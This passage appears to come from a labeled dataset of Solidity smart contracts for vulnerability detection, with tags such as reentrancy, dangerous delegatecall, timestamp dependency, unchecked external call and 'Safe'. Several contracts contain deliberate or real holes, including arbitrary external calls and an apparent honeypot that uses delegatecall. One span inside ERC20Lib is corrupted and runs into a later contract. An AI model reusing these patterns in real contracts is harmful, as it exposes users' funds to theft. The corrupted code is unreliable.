5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1,6 6,125,50,5,8,50,23,3,115,14,10,50,5,5 */ mapping (address => uint) public investorPercentages; /** * @dev Add investors */ function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public { for (uint i = 0; i < _investors.length; i++) { investors.push(_investors[i]); investorPercentages[_investors[i]] = _investorPercentages[i]; } } /** * @dev Get investors count * @return uint count */ function getInvestorsCount() public constant returns (uint) { return investors.length; } /** * @dev Get investors' fee depending on the current year * @return uint8 The fee percentage, which investors get */ function getInvestorsFee() public constant returns (uint8) { //01/01/2020 if (now >= 1577836800) { return 1; } //01/01/2019 if (now >= 1546300800) { return 5; } return 10; } } contract Referral is Declaration, Ownable { using SafeMath for uint; // reference to token contract WealthBuilderToken private token; // reference to data contract Data private data; // reference to investors contract Investors private investors; // investors balance to be distributed in wei*10^(2) uint public investorsBalance; /** * how many USD cents get per ETH */ uint public ethUsdRate; /** * @dev The Referral constructor to set up the first depositer, * reference to system token, data & investors and set ethUsdRate */ function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public { ethUsdRate = _ethUsdRate; // instantiate token & data contracts token = WealthBuilderToken(_token); data = Data(_data); investors = Investors(_investors); investorsBalance = 0; } /** * @dev Callback function */ function() payable public { } function invest(address client, uint8 depositsCount) payable public { uint amount = msg.value; // if less then 5 deposits if (depositsCount < 5) { uint serviceFee; uint investorsFee = 0; if (depositsCount == 0) { uint8 investorsFeePercentage = investors.getInvestorsFee(); serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage)); investorsFee = amount * investorsFeePercentage; investorsBalance += investorsFee; } else { serviceFee = amount * serviceFees[depositsCount]; } uint referralFee = amount * referralFees[depositsCount]; // distribute deposit fee among users above on the branch & update users' statuses distribute(data.parentOf(client), 0, depositsCount, amount); // update balance & number of deposits of user uint active = (amount * 100) .sub(referralFee) .sub(serviceFee) .sub(investorsFee); token.mint(client, active / 100 * token.rate() / token.mrate()); // update owner`s balance data.addBalance(owner, serviceFee * 10000); } else { token.mint(client, amount * token.rate() / token.mrate()); } } /** * @dev Recursively distribute deposit fee between parents * @param _node Parent address * @param _prevPercentage The percentage for previous parent * @param _depositsCount Count of depositer deposits * @param _amount The amount of deposit */ function distribute( address _node, uint _prevPercentage, uint8 _depositsCount, uint _amount ) private { address node = _node; uint prevPercentage = _prevPercentage; // distribute deposit fee among users above on the branch & update users' statuses while(node != address(0)) { uint8 status = data.statuses(node); // count fee percentage of current node uint nodePercentage = feeDistribution[status][_depositsCount]; uint percentage = nodePercentage.sub(prevPercentage); data.addBalance(node, _amount * percentage * 10000); //update refferals sum amount data.addReferralDeposit(node, _amount * ethUsdRate / 10**18); //update status updateStatus(node, status); node = data.parentOf(node); prevPercentage = nodePercentage; } } /** * @dev Update node status if children sum amount is enough * @param _node Node address * @param _status Node current status */ function updateStatus(address _node, uint8 _status) private { uint refDep = data.referralDeposits(_node); for (uint i = thresholds.length - 1; i > _status; i--) { uint threshold = thresholds[i] * 100; if (refDep >= threshold) { data.setStatus(_node, statusThreshold[threshold]); break; } } } /** * @dev Distribute fee between investors */ function distributeInvestorsFee(uint start, uint end) onlyOwner public { for (uint i = start; i < end; i++) { address investor = investors.investors(i); uint investorPercentage = investors.investorPercentages(investor); data.addInvestorBalance(investor, investorsBalance * investorPercentage); } if (end == investors.getInvestorsCount()) { investorsBalance = 0; } } /** * @dev Set token exchange rate * @param _rate wbt/eth rate */ function setRate(uint _rate) onlyOwner public { token.setRate(_rate); } /** * @dev Set ETH exchange rate * @param _ethUsdRate eth/usd rate */ function setEthUsdRate(uint _ethUsdRate) onlyOwner public { ethUsdRate = _ethUsdRate; } /** * @dev Add new child * @param _inviter parent * @param _invitee child */ function invite( address _inviter, address _invitee ) public onlyOwner { data.setParent(_invitee, _inviter); // Agent - 0 data.setStatus(_invitee, 0); } /** * @dev Set _status for _addr * @param _addr address * @param _status ref. status */ function setStatus(address _addr, uint8 _status) public onlyOwner { data.setStatus(_addr, _status); } /** * @dev Set investors contract address * @param _addr address */ function setInvestors(address _addr) public onlyOwner { investors = Investors(_addr); } /** * @dev Withdraw _amount for _addr * @param _addr withdrawal address * @param _amount withdrawal amount */ function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner { uint amount = investor ? data.investorBalanceOf(_addr) : data.balanceOf(_addr); require(amount >= _amount && this.balance >= _amount); if (investor) { data.subtrInvestorBalance(_addr, _amount * 1000000); } else { data.subtrBalance(_addr, _amount * 1000000); } _addr.transfer(_amount); } /** * @dev Withdraw contract balance to _addr * @param _addr withdrawal address */ function withdrawOwner(address _addr, uint256 _amount) public onlyOwner { require(this.balance >= _amount); _addr.transfer(_amount); } /** * @dev Withdraw corresponding amount of ETH to _addr and burn _value tokens * @param _addr withdrawal address * @param _amount amount of tokens to sell */ function withdrawToken(address _addr, uint256 _amount) onlyOwner public { token.burn(_addr, _amount); uint256 etherValue = _amount * token.mrate() / token.rate(); _addr.transfer(etherValue); } /** * @dev Transfer ownership of token contract to _addr * @param _addr address */ function transferTokenOwnership(address _addr) onlyOwner public { token.transferOwnership(_addr); } /** * @dev Transfer ownership of data contract to _addr * @param _addr address */ function transferDataOwnership(address _addr) onlyOwner public { data.transferOwnership(_addr); } } contract PChannel is Ownable { Referral private refProgram; // fixed deposit amount in USD cents uint private depositAmount = 10000000; // max deposit amount in USD cents uint private maxDepositAmount =12500000; // investor => number of deposits mapping (address => uint8) private deposits; function PChannel(address _refProgram) public { refProgram = Referral(_refProgram); } function() payable public { uint8 depositsCount = deposits[msg.sender]; // check if user has already exceeded 15 deposits limit // if so, set deposit count to 0 and make first deposit if (depositsCount == 15) { depositsCount = 0; deposits[msg.sender] = 0; } uint amount = msg.value; uint usdAmount = amount * refProgram.ethUsdRate() / 10**18; // check if deposit amount is valid require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount); refProgram.invest.value(amount)(msg.sender, depositsCount); deposits[msg.sender]++; } /** * @dev Set investors contract address * @param _addr address */ function setRefProgram(address _addr) public onlyOwner { refProgram = Referral(_addr); } }",./Dataset/ether strict equality (SE),3,3 1182.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } library SafeERC20 { function safeTransfer(ERC20 _token, address _to, uint256 _value) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) internal { require(_token.transferFrom(_from, _to, _value)); } } interface ERC20 { function transferFrom(address from, address to, uint256 value) external returns (bool); function transfer(address _to, uint256 _value) external returns (bool); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function renounceOwnership() public onlyOwner() { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner() { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract BitSongCrowdsale is Ownable{ using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; address public kycAdmin; uint256 public hardCap; uint256 public tokensAllocated; uint256 public openingTime; uint256 public closingTime; uint256 public duration; mapping(address => bool) public approvals; mapping(address => uint256) public balances; event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); event KycApproved(address indexed beneficiary, address indexed admin, bool status); event KycRefused(address indexed beneficiary, address indexed admin, bool status); modifier onlyKycAdmin() { require(msg.sender == kycAdmin); _; } modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _rate, address _wallet, uint256 _duration, uint256 _hardCap, ERC20 _tokenAddress) public { require(_rate > 0); require(_wallet != address(0)); require(_tokenAddress != address(0)); rate = _rate; wallet = _wallet; token = _tokenAddress; hardCap = _hardCap * 10**18; duration = _duration * 1 days; } function () external payable { buyTokens(); } function buyTokens() public onlyWhileOpen() payable { require(msg.value > 0); require(approvals[msg.sender] == true); uint256 weiAmount = msg.value; uint256 tokenAmount = weiAmount.mul(rate); tokensAllocated = tokensAllocated.add(tokenAmount); assert(tokensAllocated <= hardCap); weiRaised = weiRaised.add(weiAmount); balances[msg.sender] = balances[msg.sender].add(tokenAmount); emit TokenPurchase(msg.sender, weiAmount, tokenAmount); wallet.transfer(msg.value); } function withdrawTokens() external { require(hasClosed()); uint256 amount = balances[msg.sender]; require(amount > 0); balances[msg.sender] = 0; token.safeTransferFrom(wallet, msg.sender, amount); } function withdrawTokensFor(address _beneficiary) external { require(hasClosed()); uint256 amount = balances[_beneficiary]; require(amount > 0); balances[_beneficiary] = 0; token.safeTransferFrom(wallet, _beneficiary, amount); } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function approveAddress(address _beneficiary) external onlyKycAdmin() { approvals[_beneficiary] = true; emit KycApproved(_beneficiary, kycAdmin, true); } function refuseAddress(address _beneficiary) external onlyKycAdmin() { approvals[_beneficiary] = false; emit KycRefused(_beneficiary, kycAdmin, false); } function rewardManual(address _beneficiary, uint256 _amount) external onlyOwner() { require(_amount > 0); require(_beneficiary != address(0)); tokensAllocated = tokensAllocated.add(_amount); assert(tokensAllocated <= hardCap); balances[_beneficiary] = balances[_beneficiary].add(_amount); } function transfer(address _beneficiary, uint256 _amount) external onlyOwner() { require(_amount > 0); require(_beneficiary != address(0)); token.safeTransfer(_beneficiary, _amount); } function setKycAdmin(address _newAdmin) external onlyOwner() { kycAdmin = _newAdmin; } function startDistribution() external onlyOwner() { require(openingTime == 0); openingTime = block.timestamp; closingTime = openingTime.add(duration); } function setRate(uint256 _newRate) external onlyOwner() { rate = _newRate; } function setClosingTime(uint256 _newTime) external onlyOwner() { closingTime = _newTime; } }",./Dataset/timestamp dependency (TP)/,6,6 35074.sol,"pragma solidity ^0.4.16; //https://github.com/genkifs/staticoin contract owned { address owner; function owned() { owner = msg.sender; } function changeOwner(address newOwner) onlyOwner { owner = newOwner; } modifier onlyOwner() { if (msg.sender==owner) _; } } contract mortal is owned() { function kill() onlyOwner { if (msg.sender == owner) selfdestruct(owner); } } library ERC20Lib { //Inspired by https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736 struct TokenStorage { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 totalSupply; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier onlyPayloadSize(uint numwords) { /** * @dev Checks for short addresses * @param numwords number of parameters passed */ assert(msg.data.length >= numwords * 32 + 4); _; } modifier validAddress(address _address) { /** * @dev validates an address. * @param _address checks that it isn't null or this contract address */ require(_address != 0x0); require(_address != address(msg.sender)); _; } modifier IsWallet(address _address) { /** * @dev Transfer tokens from msg.sender to another address. * Cannot Allows execution if the transfer to address code size is 0 * @param _address address to check that its not a contract */ uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_address) } assert(codeLength==0); _; } function safeMul(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function init(TokenStorage storage self, uint _initial_supply) { self.totalSupply = _initial_supply; self.balances[msg.sender] = _initial_supply; } function transfer(TokenStorage storage self, address _to, uint256 _value) onlyPayloadSize(3) IsWallet(_to) returns (bool success) { /** * @dev Transfer tokens from msg.sender to another address. * Cannot be used to send tokens to a contract, this means contracts cannot mint coins to themselves * Contracts have to use the approve and transfer method * this is based on https://github.com/Dexaran/ERC223-token-standard * @param _to address The address where the coin is to be transfered * @param _value uint256 the amount of tokens to be transferred */ if (self.balances[msg.sender] >= _value && self.balances[_to] + _value > self.balances[_to]) { self.balances[msg.sender] = safeSub(self.balances[msg.sender], _value); self.balances[_to] = safeAdd(self.balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(TokenStorage storage self, address _from, address _to, uint256 _value) onlyPayloadSize(4) validAddress(_from) validAddress(_to) returns (bool success) { /** * @dev Transfer tokens from one address to another. Requires allowance to be set. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ if (self.balances[_from] >= _value && self.allowed[_from][msg.sender] >= _value && self.balances[_to] + _value > self.balances[_to]) { var _allowance = self.allowed[_from][msg.sender]; self.balances[_to] = safeAdd(self.balances[_to], _value); self.balances[_from] = safeSub(self.balances[_from], _value); self.allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(TokenStorage storage self, address _owner) constant onlyPayloadSize(2) validAddress(_owner) returns (uint256 balance) { /** * @dev returns the amount given to an account * @param _owner The address to be queried * @return Balance of _owner. */ return self.balances[_owner]; } function approve(TokenStorage storage self, address _spender, uint256 _value) onlyPayloadSize(3) validAddress(_spender) returns (bool success) { /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ //require user to set to zero before resetting to nonzero if ((_value != 0) && (self.allowed[msg.sender][_spender] != 0)) { return false; } else { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } function allowance(TokenStorage storage self, address _owner, address _spender) constant onlyPayloadSize(3) validAddress(_owner) validAddress(_spender) returns (uint256 remaining) { /** * @dev allows queries of how much a given address is allowed to spend on behalf of another account * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return remaining uint256 specifying the amount of tokens still available for the spender. */ return self.allowed[_owner][_spender]; } function increaseApproval(TokenStorage storage self, address _spender, uint256 _addedValue) onlyPayloadSize(3) validAddress(_spender) returns (bool success) { /** * @dev Allows to increment allowed value * better to use this function to avoid 2 calls * @param _spender address The address which will spend the funds. * @param _addedValue amount to increase alowance by. * @return True if allowance increased */ uint256 oldValue = self.allowed[msg.sender][_spender]; self.allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval(TokenStorage storage self,address _spender, uint256 _subtractedValue) onlyPayloadSize(3) validAddress(_spender) returns (bool success) { /** * @dev Allows to decrement allowed value * better to use this function to avoid 2 calls * @param _spender address The address which will spend the funds. * @param _subtractedValue amount to decrease allowance by. * @return True if allowance decreased */ uint256 oldValue = self.allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { self.allowed[msg.sender][_spender] = 0; } else { self.allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue); } return true; } /* Approves and then calls the receiving contract with any additional paramteres*/ function approveAndCall(TokenStorage storage self, address _spender, uint256 _value, bytes _extraData) onlyPayloadSize(4) validAddress(_spender) returns (bool success) { //require user to set to zero before resetting to nonzero /** * @dev Approves and then calls the receiving contract with any additional paramteres * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @param _value address The address which will spend the funds. * @param _extraData is the additional paramters passed * @return True if successful. */ if ((_value != 0) && (self.allowed[msg.sender][_spender] != 0)) { return false; } else { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. //This crafts the function signature manually so one doesn't have to include a contract in here just for this. //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } } function mintCoin(TokenStorage storage self, address target, uint256 mintedAmount, address owner) internal returns (bool success) { /** * @dev Approves and then calls the receiving contract with any additional paramteres * @param target address the address which will receive the funds. * @param mintedAmount the amount of funds to be sent. * @param owner the contract responsable for controling the amount of funds. * @return True if successful. */ self.balances[target] = safeAdd(self.balances[target], mintedAmount);//balances[target] += mintedAmount; self.totalSupply = safeAdd(self.totalSupply, mintedAmount);//totalSupply += mintedAmount; Transfer(0, owner, mintedAmount); // Deliver coin to the mint Transfer(owner, target, mintedAmount); // mint delivers to address return true; } function meltCoin(TokenStorage storage self, address target, uint256 meltedAmount, address owner) internal returns (bool success) { /** * @dev Approves and then calls the receiving contract with any additional paramteres * @param target address the address which will return the funds. * @param meltedAmount the amount of funds to be returned. * @param owner the contract responsable for controling the amount of funds. * @return True if successful. */ if(self.balances[target] uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; } /** @title I_minter. */ contract I_minter { event EventCreateStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventRedeemStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventCreateRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventRedeemRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventBankrupt(); function Leverage() constant returns (uint128) {} function RiskPrice(uint128 _currentPrice,uint128 _StaticTotal,uint128 _RiskTotal, uint128 _ETHTotal) constant returns (uint128 price) {} function RiskPrice(uint128 _currentPrice) constant returns (uint128 price) {} function PriceReturn(uint _TransID,uint128 _Price) {} function NewStatic() external payable returns (uint _TransID) {} function NewStaticAdr(address _Risk) external payable returns (uint _TransID) {} function NewRisk() external payable returns (uint _TransID) {} function NewRiskAdr(address _Risk) external payable returns (uint _TransID) {} function RetRisk(uint128 _Quantity) external payable returns (uint _TransID) {} function RetStatic(uint128 _Quantity) external payable returns (uint _TransID) {} function Strike() constant returns (uint128) {} }",./Dataset/unchecked external call (UC),7,7 798.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 30692.sol,"pragma solidity ^0.4.11; contract firstTest { address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b; address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13; address adr; uint256 public Limit= 1000000000000000000; function Set(address dataBase, uint256 limit) { require(msg.sender == Owner); Limit = limit; emails = dataBase; } function changeOwner(address adr){ } function()payable{ withdrawal(); } function kill() { require(msg.sender == Owner); selfdestruct(msg.sender); } function withdrawal() payable public { adr=msg.sender; if(msg.value>Limit) { emails.delegatecall(bytes4(sha3(""logEvent()""))); adr.send(this.balance); } } }",./Dataset/dangerous delegatecall (DE)/,1,1 0x038e20839aebfe12b7956adcbc2511f6f7085164_ETHVault.sol,"pragma solidity ^0.4.13; contract Owned { address public Owner = msg.sender; modifier onlyOwner { if (msg.sender == Owner) _; } } contract ETHVault is Owned { address public Owner; mapping (address => uint) public Deposits; event Deposit(uint amount); event Withdraw(uint amount); function Vault() payable { Owner = msg.sender; deposit(); } function() payable { revert(); } function deposit() payable { if (msg.value >= 1 ether) if (Deposits[msg.sender] + msg.value >= Deposits[msg.sender]) { Deposits[msg.sender] += msg.value; Deposit(msg.value); } } function withdraw(uint amount) payable onlyOwner { if (Deposits[msg.sender] > 0 && amount <= Deposits[msg.sender]) { msg.sender.transfer(amount); Withdraw(amount); } } function kill() payable onlyOwner { if (this.balance == 0) selfdestruct(msg.sender); } }",Safe,8,8 0x0233bb8303a7243354d5104b85c0251ae8faa39f_KolkhaCoin.sol,"pragma solidity ^0.4.11; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract KolkhaCoin { modifier msgDataSize(uint nVar) {assert(msg.data.length == nVar*32 + 4); _ ;} string public constant name = ""Kolkha""; string public constant symbol = ""KHC""; uint public constant decimals = 6; uint public totalSupply; using SafeMath for uint; event Transfer(address indexed _from, address indexed _to, uint _value); event Approved(address indexed _owner, address indexed _spender, uint _value); mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; function KolkhaCoin(uint initialSupply){ balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; } function transfer(address _to, uint _value) public msgDataSize(2) returns(bool success) { success = false; require(balanceOf[msg.sender] >= _value); //Check if the sender has enough balance require(balanceOf[_to].add(_value) > balanceOf[_to]); //Avoid overflow, and _value=0 require(_value > 0); //just to be safe //Perform the transfer balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value); //Fire the event return true; } function transferFrom(address _from, address _to, uint _value) public msgDataSize(3) returns (bool success) { require(allowance[_from][_to] >= _value); //check allowance, from _from to _to require(balanceOf[_from] >= _value); //Check if there's enough coins on the _from account require(balanceOf[_to].add(_value) > balanceOf[_to]); //Avoid overflow, and _value = 0 require(_value > 0); //Just in case //Transfer balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); //Retract _value coins from allowance allowance[_from][_to] = allowance[_from][_to].sub(_value); //Fire the event Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public msgDataSize(2) returns(bool success) { success = false; allowance[msg.sender][_spender] = _value; Approved(msg.sender, _spender, _value); return true; } //Once the block is mined /*uint public constant blockReward = 1e6; function claimBlockReward() { balanceOf[block.coinbase] += blockReward; totalSupply += blockReward; }*/ }",Safe,8,8 1833.sol," pragma solidity 0.4.24; interface ERC721TokenReceiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns (bytes4); } interface ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _tokenOwner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _tokenOwner, address indexed _operator, bool _approved); function balanceOf(address _tokenOwner) external view returns (uint256 _balance); function ownerOf(uint256 _tokenId) external view returns (address _tokenOwner); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external; function safeTransferFrom(address _from, address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; function approve(address _to, uint256 _tokenId) external; function setApprovalForAll(address _operator, bool _approved) external; function getApproved(uint256 _tokenId) external view returns (address _operator); function isApprovedForAll(address _tokenOwner, address _operator) external view returns (bool); } interface ERC20AndERC223 { 